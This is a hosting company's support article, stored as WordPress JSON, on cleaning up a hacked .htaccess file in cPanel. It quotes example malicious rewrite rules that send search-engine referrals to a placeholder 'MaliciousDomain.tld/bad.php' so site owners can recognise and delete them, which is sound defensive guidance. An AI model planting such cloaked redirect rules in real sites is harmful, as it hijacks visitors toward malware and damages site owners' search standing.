{"id":490,"date":"2012-12-04T14:09:14","date_gmt":"2012-12-04T19:09:14","guid":{"rendered":"https:\/\/www.inmotionhosting.com\/support\/2012\/12\/04\/cleaning-up-a-htaccess-hack\/"},"modified":"2021-08-16T23:27:35","modified_gmt":"2021-08-17T03:27:35","slug":"cleaning-up-a-htaccess-hack","status":"publish","type":"post","link":"https:\/\/www.inmotionhosting.com\/support\/website\/cleaning-up-a-htaccess-hack\/","title":{"rendered":".htaccess Hack Cleanup"},"content":{"rendered":"<p>In this article we\u2019ll discuss steps you can take to <strong>clean up an .htaccess hack<\/strong>. The .htaccess file is used to primarily setup rewrite rules to control the way your site is accessed. You might not notice that your .htaccess file has been hacked until either a manual investigation, or you happen to get a malware warning on your website that it\u2019s redirecting to a malicious site.<\/p>\n<p>Sometimes you might catch down in your web-browser\u2019s status bar that a foreign website is attempting to load content on your website, or you might notice a web-browser warning. These can be common signs of a .htaccess hack, you might also notice that you\u2019ve fallen in search engine rankings. The typical reason for this is that hackers will attempt to hack your .htaccess file so that when search engine bots crawl your website they are redirected to the website that the hacker has put in place instead of your own.<\/p>\n<p>You can do a quick outside spot check using Google\u2019s Safe Browsing diagnostic page to see if they\u2019ve detected anything malicious on your site in their most recent crawl. You would simply want to replace <strong>example.com<\/strong> with your actual domain name in the following URL:<\/p>\n<div>https:\/\/google.com\/safebrowsing\/diagnostic?site=example.com<\/div>\n<p>You can also read <a href=\"\/support\/website\/google-tools\/google-safe-browsing-diagnostic-page\/\">more about the Google Safe Browsing page<\/a>.<\/p>\n<p>Following the steps below you can learn how to check your .htaccess file for hacks, and how to clean them up if you do find any.<\/p>\n<h2>.htaccess hacked clean up steps<\/h2>\n<div style=\"width: 50%; float: left; position: relative; top: 50px;\">\n<ol>\n<li><a href=\"\/support\/edu\/cpanel\/how-to-log-into-cpanel\/\">Login to your cPanel<\/a>.<\/li>\n<li>Under the <strong>Files<\/strong> section, click on <strong>File Manager<\/strong>.<\/li>\n<li>In the top right-hand corner, click on <strong>Settings<\/strong>. Select the <strong>Document Root for:<\/strong> option, and choose your domain from the drop-down.<\/li>\n<li>Ensure that <strong>Show Hidden Files<\/strong> is selected.<\/li>\n<li>Then click <strong>Save<\/strong>.<\/li>\n<\/ol>\n<\/div>\n<div style=\"width: 46%; float: right;\"><a href=\"\/support\/wp-content\/uploads\/2012\/12\/website_website-troubleshooting_404s_file-manager-settings.png\" rel=\"lightbox-0\"><img decoding=\"async\" width=\"1013\" height=\"558\" src=\"https:\/\/www.inmotionhosting.com\/support\/wp-content\/uploads\/2012\/12\/website_website-troubleshooting_404s_file-manager-settings.png\" class=\"optimized-lcp-image\" alt=\"file-manager-hidden-files\" loading=\"eager\" fetchpriority=\"high\" sizes=\"(max-width: 768px) 100vw, 768px\" srcset=\"https:\/\/www.inmotionhosting.com\/support\/wp-content\/uploads\/2012\/12\/website_website-troubleshooting_404s_file-manager-settings.png 1013w, https:\/\/www.inmotionhosting.com\/support\/wp-content\/uploads\/2012\/12\/website_website-troubleshooting_404s_file-manager-settings-300x165.png 300w, https:\/\/www.inmotionhosting.com\/support\/wp-content\/uploads\/2012\/12\/website_website-troubleshooting_404s_file-manager-settings-768x423.png 768w\"><\/a>\u00a0\u00a0\n<div style=\"clear: both;\">\u00a0<\/div>\n<\/div>\n<div style=\"clear: both;\">\u00a0<\/div>\n<div style=\"width: 55%; float: left; position: relative; top: 75px;\">\n<ul>\n<li>Right-click on the <strong>.htaccess<\/strong> file and select <strong>Edit<\/strong>.<\/li>\n<\/ul>\n<\/div>\n<div style=\"width: 45%; float: right;\"><a href=\"\/support\/wp-content\/uploads\/2012\/12\/website_website-troubleshooting_404s_edit-file-manager.png\" rel=\"lightbox-0\"><img loading=\"lazy\" decoding=\"async\" class=\"std_ss\" src=\"https:\/\/www.inmotionhosting.com\/support\/wp-content\/uploads\/2012\/12\/website_website-troubleshooting_404s_edit-file-manager.png\" alt=\"file-manager-htaccess-edit\" width=\"366\" height=\"382\"><\/a>\u00a0\u00a0\n<div style=\"clear: both;\">\u00a0<\/div>\n<\/div>\n<div style=\"clear: both;\">\u00a0<\/div>\n<ol class=\"article_list\">\n<li>You might have a text editor encoding dialog box pop-up, you can simply click on <strong>Edit<\/strong>.<\/li>\n<li>Scroll up and down the document and you\u2019ll want to look for any code that seems to be out of place, more than likely you\u2019ll see something along the following lines if your .htaccess file has been hacked:\n<p><code>RewriteEngine On<\/code><\/p>\n<p><code>RewriteOptions inherit<\/code><\/p>\n<p><code>RewriteCond %{HTTP_REFERER} .*ask.com.*$ [NC,OR]<\/code><\/p>\n<p><code>RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]<\/code><br>\n<code>RewriteCond %{HTTP_REFERER} .*msn.com*$ [NC,OR]<\/code><\/p>\n<p><code>RewriteCond %{HTTP_REFERER} .*bing.com*$ [NC,OR]<\/code><br>\n<code>RewriteCond %{HTTP_REFERER} .*live.com*$ [NC,OR]<\/code><\/p>\n<p><code>RewriteCond %{HTTP_REFERER} .*aol.com*$ [NC,OR] <\/code><br>\n<code>RewriteCond %{HTTP_REFERER} .*altavista.com*$ [NC,OR]<\/code><\/p>\n<p><code>RewriteCond %{HTTP_REFERER} .*excite.com*$ [NC,OR]<\/code><\/p>\n<p><code>RewriteCond %{HTTP_REFERER} .*search.yahoo*$ [NC]<\/code><\/p>\n<p><code>RewriteRule .* https:\/\/MaliciousDomain.tld\/bad.php?t=3 [R,L]<\/code><br>\nWhat this rewrite code is attempting to do is checking for the referrer of a request, if it\u2019s a popular search engine they are redirecting it to their <strong>MaliciousDomain.tld<\/strong> website and trying to load the <strong>bad.php<\/strong> malicious script.<\/p>\n<p>Because these <strong>RewriteCond<\/strong> conditional statements wouldn\u2019t match for yourself, and only for search engine bots, sometimes these types of hacks can go unnoticed for some time. Unfortunately the longer they\u2019re active the more potential it has at affecting your search engine ranking.<\/p><\/li>\n<li>To remove these malicious rewrites you can simply highlight all of the text and hit <strong>Delete<\/strong> on your keyboard and then click on <strong>Save Changes<\/strong>at the top-right to save the file.If you aren\u2019t 100% confident that you\u2019ve found malicious redirect code, we would recommend backing up your <strong>.htaccess<\/strong> file prior to making edits to it. This can be accomplished by simply right-clicking on the <strong>.htaccess<\/strong> file in the File Manager, selecting <strong>Copy<\/strong> and then choosing a copy path such as <strong>\/public_html\/.htaccess-BAK<\/strong>, then finally clicking on <strong>Copy File(s)<\/strong>.<\/li>\n<\/ol>\n<p>You should now understand how to locate and remove a .htaccess hack that could be causing your website to do a malicious redirection. You\u2019ll more than likely also want to read about <a href=\"\/support\/\">steps to take after a hack<\/a> for more information on how to prevent hacks like this from taking place.<\/p>\n<p>If you\u2019re on a VPS or dedicated server you might also wish to read about <a href=\"\/support\/security\/clean-up-code-injection-attack\/\">how to clean up a code injection attack<\/a> if more than just your .htaccess file has been hacked.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>In this article we\u2019ll discuss steps you can take to clean up an .htaccess hack. The .htaccess file is used to primarily setup rewrite rules to control the way your site is accessed. You might not notice that your .htaccess file has been hacked until either a manual investigation, or you happen to get a<a class=\"moretag\" href=\"https:\/\/www.inmotionhosting.com\/support\/website\/cleaning-up-a-htaccess-hack\/\"> Read More ><\/a><\/p>\n","protected":false},"author":57014,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"_jetpack_memberships_contains_paid_content":false,"footnotes":""},"categories":[4298,4288],"tags":[],"class_list":["post-490","post","type-post","status-publish","format-standard","hentry","category-hacks","category-website"],"acf":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.1.1 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>.htaccess Hack Cleanup | InMotion Hosting<\/title>\n<meta name=\"description\" content=\"In this article we&#039;ll dicuss steps you can take to clean up a .htaccess hack. The .htaccess file is used to primarily setup rewrite rules to control the way your site is accessed. You might not notice that your .htaccess has been hacked until either a manual investigation, or you happen to get a malware warning on website that it&#039;s redirecting to a malicious site.\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.inmotionhosting.com\/support\/website\/cleaning-up-a-htaccess-hack\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\".htaccess Hack Cleanup | InMotion Hosting\" \/>\n<meta property=\"og:description\" content=\"In this article we&#039;ll dicuss steps you can take to clean up a .htaccess hack. The .htaccess file is used to primarily setup rewrite rules to control the way your site is accessed. You might not notice that your .htaccess has been hacked until either a manual investigation, or you happen to get a malware warning on website that it&#039;s redirecting to a malicious site.\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.inmotionhosting.com\/support\/website\/cleaning-up-a-htaccess-hack\/\" \/>\n<meta property=\"og:site_name\" content=\"InMotion Hosting Support Center\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/inmotionhosting\/\" \/>\n<meta property=\"article:published_time\" content=\"2012-12-04T19:09:14+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2021-08-17T03:27:35+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/www.inmotionhosting.com\/support\/wp-content\/uploads\/2012\/12\/website_website-troubleshooting_404s_file-manager-settings.png\" \/>\n<meta name=\"author\" content=\"InMotion Hosting Contributor\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@https:\/\/twitter.com\/InMotionHosting\" \/>\n<meta name=\"twitter:site\" content=\"@InMotionHosting\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"InMotion Hosting Contributor\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"3 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/www.inmotionhosting.com\/support\/website\/cleaning-up-a-htaccess-hack\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/www.inmotionhosting.com\/support\/website\/cleaning-up-a-htaccess-hack\/\"},\"author\":{\"name\":\"InMotion Hosting Contributor\",\"@id\":\"https:\/\/www.inmotionhosting.com\/support\/#\/schema\/person\/f9a4fc454cd1df128ee8e898d30d4644\"},\"headline\":\".htaccess Hack Cleanup\",\"datePublished\":\"2012-12-04T19:09:14+00:00\",\"dateModified\":\"2021-08-17T03:27:35+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/www.inmotionhosting.com\/support\/website\/cleaning-up-a-htaccess-hack\/\"},\"wordCount\":640,\"commentCount\":17,\"publisher\":{\"@id\":\"https:\/\/www.inmotionhosting.com\/support\/#organization\"},\"image\":{\"@id\":\"https:\/\/www.inmotionhosting.com\/support\/website\/cleaning-up-a-htaccess-hack\/#primaryimage\"},\"thumbnailUrl\":\"https:\/\/www.inmotionhosting.com\/support\/wp-content\/uploads\/2012\/12\/website_website-troubleshooting_404s_file-manager-settings.png\",\"articleSection\":[\"Troubleshooting Hacked Websites\",\"Website\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\/\/www.inmotionhosting.com\/support\/website\/cleaning-up-a-htaccess-hack\/#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.inmotionhosting.com\/support\/website\/cleaning-up-a-htaccess-hack\/\",\"url\":\"https:\/\/www.inmotionhosting.com\/support\/website\/cleaning-up-a-htaccess-hack\/\",\"name\":\".htaccess Hack Cleanup | InMotion Hosting\",\"isPartOf\":{\"@id\":\"https:\/\/www.inmotionhosting.com\/support\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\/\/www.inmotionhosting.com\/support\/website\/cleaning-up-a-htaccess-hack\/#primaryimage\"},\"image\":{\"@id\":\"https:\/\/www.inmotionhosting.com\/support\/website\/cleaning-up-a-htaccess-hack\/#primaryimage\"},\"thumbnailUrl\":\"https:\/\/www.inmotionhosting.com\/support\/wp-content\/uploads\/2012\/12\/website_website-troubleshooting_404s_file-manager-settings.png\",\"datePublished\":\"2012-12-04T19:09:14+00:00\",\"dateModified\":\"2021-08-17T03:27:35+00:00\",\"description\":\"In this article we'll dicuss steps you can take to clean up a .htaccess hack. The .htaccess file is used to primarily setup rewrite rules to control the way your site is accessed. You might not notice that your .htaccess has been hacked until either a manual investigation, or you happen to get a malware warning on website that it's redirecting to a malicious site.\",\"breadcrumb\":{\"@id\":\"https:\/\/www.inmotionhosting.com\/support\/website\/cleaning-up-a-htaccess-hack\/#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.inmotionhosting.com\/support\/website\/cleaning-up-a-htaccess-hack\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/www.inmotionhosting.com\/support\/website\/cleaning-up-a-htaccess-hack\/#primaryimage\",\"url\":\"https:\/\/www.inmotionhosting.com\/support\/wp-content\/uploads\/2012\/12\/website_website-troubleshooting_404s_file-manager-settings.png\",\"contentUrl\":\"https:\/\/www.inmotionhosting.com\/support\/wp-content\/uploads\/2012\/12\/website_website-troubleshooting_404s_file-manager-settings.png\",\"width\":1013,\"height\":558,\"caption\":\"file-manager-hidden-files\"},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.inmotionhosting.com\/support\/website\/cleaning-up-a-htaccess-hack\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\/\/www.inmotionhosting.com\/support\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\".htaccess Hack Cleanup\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.inmotionhosting.com\/support\/#website\",\"url\":\"https:\/\/www.inmotionhosting.com\/support\/\",\"name\":\"InMotion Hosting Support Center\",\"description\":\"Web Hosting Support &amp; Tutorials\",\"publisher\":{\"@id\":\"https:\/\/www.inmotionhosting.com\/support\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.inmotionhosting.com\/support\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\/\/www.inmotionhosting.com\/support\/#organization\",\"name\":\"InMotion Hosting\",\"url\":\"https:\/\/www.inmotionhosting.com\/support\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/www.inmotionhosting.com\/support\/#\/schema\/logo\/image\/\",\"url\":\"https:\/\/www.inmotionhosting.com\/support\/wp-content\/uploads\/2023\/02\/inmotion-hosting-logo-yoast.jpg\",\"contentUrl\":\"https:\/\/www.inmotionhosting.com\/support\/wp-content\/uploads\/2023\/02\/inmotion-hosting-logo-yoast.jpg\",\"width\":696,\"height\":696,\"caption\":\"InMotion Hosting\"},\"image\":{\"@id\":\"https:\/\/www.inmotionhosting.com\/support\/#\/schema\/logo\/image\/\"},\"sameAs\":[\"https:\/\/www.facebook.com\/inmotionhosting\/\",\"https:\/\/x.com\/InMotionHosting\"]},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.inmotionhosting.com\/support\/#\/schema\/person\/f9a4fc454cd1df128ee8e898d30d4644\",\"name\":\"InMotion Hosting Contributor\",\"description\":\"InMotion Hosting contributors are highly knowledgeable individuals who create relevant content on new trends and troubleshooting techniques to help you achieve your online goals!\",\"sameAs\":[\"https:\/\/www.linkedin.com\/company\/inmotion-hosting\/\",\"https:\/\/x.com\/https:\/\/twitter.com\/InMotionHosting\"],\"url\":\"https:\/\/www.inmotionhosting.com\/support\/author\/inmotion-hosting-contributor\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":".htaccess Hack Cleanup | InMotion Hosting","description":"In this article we'll dicuss steps you can take to clean up a .htaccess hack. The .htaccess file is used to primarily setup rewrite rules to control the way your site is accessed. You might not notice that your .htaccess has been hacked until either a manual investigation, or you happen to get a malware warning on website that it's redirecting to a malicious site.","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.inmotionhosting.com\/support\/website\/cleaning-up-a-htaccess-hack\/","og_locale":"en_US","og_type":"article","og_title":".htaccess Hack Cleanup | InMotion Hosting","og_description":"In this article we'll dicuss steps you can take to clean up a .htaccess hack. The .htaccess file is used to primarily setup rewrite rules to control the way your site is accessed. You might not notice that your .htaccess has been hacked until either a manual investigation, or you happen to get a malware warning on website that it's redirecting to a malicious site.","og_url":"https:\/\/www.inmotionhosting.com\/support\/website\/cleaning-up-a-htaccess-hack\/","og_site_name":"InMotion Hosting Support Center","article_publisher":"https:\/\/www.facebook.com\/inmotionhosting\/","article_published_time":"2012-12-04T19:09:14+00:00","article_modified_time":"2021-08-17T03:27:35+00:00","og_image":[{"url":"https:\/\/www.inmotionhosting.com\/support\/wp-content\/uploads\/2012\/12\/website_website-troubleshooting_404s_file-manager-settings.png","type":"","width":"","height":""}],"author":"InMotion Hosting Contributor","twitter_card":"summary_large_image","twitter_creator":"@https:\/\/twitter.com\/InMotionHosting","twitter_site":"@InMotionHosting","twitter_misc":{"Written by":"InMotion Hosting Contributor","Est. reading time":"3 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/www.inmotionhosting.com\/support\/website\/cleaning-up-a-htaccess-hack\/#article","isPartOf":{"@id":"https:\/\/www.inmotionhosting.com\/support\/website\/cleaning-up-a-htaccess-hack\/"},"author":{"name":"InMotion Hosting Contributor","@id":"https:\/\/www.inmotionhosting.com\/support\/#\/schema\/person\/f9a4fc454cd1df128ee8e898d30d4644"},"headline":".htaccess Hack Cleanup","datePublished":"2012-12-04T19:09:14+00:00","dateModified":"2021-08-17T03:27:35+00:00","mainEntityOfPage":{"@id":"https:\/\/www.inmotionhosting.com\/support\/website\/cleaning-up-a-htaccess-hack\/"},"wordCount":640,"commentCount":17,"publisher":{"@id":"https:\/\/www.inmotionhosting.com\/support\/#organization"},"image":{"@id":"https:\/\/www.inmotionhosting.com\/support\/website\/cleaning-up-a-htaccess-hack\/#primaryimage"},"thumbnailUrl":"https:\/\/www.inmotionhosting.com\/support\/wp-content\/uploads\/2012\/12\/website_website-troubleshooting_404s_file-manager-settings.png","articleSection":["Troubleshooting Hacked Websites","Website"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/www.inmotionhosting.com\/support\/website\/cleaning-up-a-htaccess-hack\/#respond"]}]},{"@type":"WebPage","@id":"https:\/\/www.inmotionhosting.com\/support\/website\/cleaning-up-a-htaccess-hack\/","url":"https:\/\/www.inmotionhosting.com\/support\/website\/cleaning-up-a-htaccess-hack\/","name":".htaccess Hack Cleanup | InMotion Hosting","isPartOf":{"@id":"https:\/\/www.inmotionhosting.com\/support\/#website"},"primaryImageOfPage":{"@id":"https:\/\/www.inmotionhosting.com\/support\/website\/cleaning-up-a-htaccess-hack\/#primaryimage"},"image":{"@id":"https:\/\/www.inmotionhosting.com\/support\/website\/cleaning-up-a-htaccess-hack\/#primaryimage"},"thumbnailUrl":"https:\/\/www.inmotionhosting.com\/support\/wp-content\/uploads\/2012\/12\/website_website-troubleshooting_404s_file-manager-settings.png","datePublished":"2012-12-04T19:09:14+00:00","dateModified":"2021-08-17T03:27:35+00:00","description":"In this article we'll dicuss steps you can take to clean up a .htaccess hack. The .htaccess file is used to primarily setup rewrite rules to control the way your site is accessed. You might not notice that your .htaccess has been hacked until either a manual investigation, or you happen to get a malware warning on website that it's redirecting to a malicious site.","breadcrumb":{"@id":"https:\/\/www.inmotionhosting.com\/support\/website\/cleaning-up-a-htaccess-hack\/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.inmotionhosting.com\/support\/website\/cleaning-up-a-htaccess-hack\/"]}]},{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/www.inmotionhosting.com\/support\/website\/cleaning-up-a-htaccess-hack\/#primaryimage","url":"https:\/\/www.inmotionhosting.com\/support\/wp-content\/uploads\/2012\/12\/website_website-troubleshooting_404s_file-manager-settings.png","contentUrl":"https:\/\/www.inmotionhosting.com\/support\/wp-content\/uploads\/2012\/12\/website_website-troubleshooting_404s_file-manager-settings.png","width":1013,"height":558,"caption":"file-manager-hidden-files"},{"@type":"BreadcrumbList","@id":"https:\/\/www.inmotionhosting.com\/support\/website\/cleaning-up-a-htaccess-hack\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/www.inmotionhosting.com\/support\/"},{"@type":"ListItem","position":2,"name":".htaccess Hack Cleanup"}]},{"@type":"WebSite","@id":"https:\/\/www.inmotionhosting.com\/support\/#website","url":"https:\/\/www.inmotionhosting.com\/support\/","name":"InMotion Hosting Support Center","description":"Web Hosting Support &amp; Tutorials","publisher":{"@id":"https:\/\/www.inmotionhosting.com\/support\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.inmotionhosting.com\/support\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/www.inmotionhosting.com\/support\/#organization","name":"InMotion Hosting","url":"https:\/\/www.inmotionhosting.com\/support\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/www.inmotionhosting.com\/support\/#\/schema\/logo\/image\/","url":"https:\/\/www.inmotionhosting.com\/support\/wp-content\/uploads\/2023\/02\/inmotion-hosting-logo-yoast.jpg","contentUrl":"https:\/\/www.inmotionhosting.com\/support\/wp-content\/uploads\/2023\/02\/inmotion-hosting-logo-yoast.jpg","width":696,"height":696,"caption":"InMotion Hosting"},"image":{"@id":"https:\/\/www.inmotionhosting.com\/support\/#\/schema\/logo\/image\/"},"sameAs":["https:\/\/www.facebook.com\/inmotionhosting\/","https:\/\/x.com\/InMotionHosting"]},{"@type":"Person","@id":"https:\/\/www.inmotionhosting.com\/support\/#\/schema\/person\/f9a4fc454cd1df128ee8e898d30d4644","name":"InMotion Hosting Contributor","description":"InMotion Hosting contributors are highly knowledgeable individuals who create relevant content on new trends and troubleshooting techniques to help you achieve your online goals!","sameAs":["https:\/\/www.linkedin.com\/company\/inmotion-hosting\/","https:\/\/x.com\/https:\/\/twitter.com\/InMotionHosting"],"url":"https:\/\/www.inmotionhosting.com\/support\/author\/inmotion-hosting-contributor\/"}]}},"jetpack_featured_media_url":"","jetpack_sharing_enabled":true,"primary_category":null,"_links":{"self":[{"href":"https:\/\/www.inmotionhosting.com\/support\/wp-json\/wp\/v2\/posts\/490","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.inmotionhosting.com\/support\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.inmotionhosting.com\/support\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.inmotionhosting.com\/support\/wp-json\/wp\/v2\/users\/57014"}],"replies":[{"embeddable":true,"href":"https:\/\/www.inmotionhosting.com\/support\/wp-json\/wp\/v2\/comments?post=490"}],"version-history":[{"count":4,"href":"https:\/\/www.inmotionhosting.com\/support\/wp-json\/wp\/v2\/posts\/490\/revisions"}],"predecessor-version":[{"id":85239,"href":"https:\/\/www.inmotionhosting.com\/support\/wp-json\/wp\/v2\/posts\/490\/revisions\/85239"}],"wp:attachment":[{"href":"https:\/\/www.inmotionhosting.com\/support\/wp-json\/wp\/v2\/media?parent=490"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.inmotionhosting.com\/support\/wp-json\/wp\/v2\/categories?post=490"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.inmotionhosting.com\/support\/wp-json\/wp\/v2\/tags?post=490"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}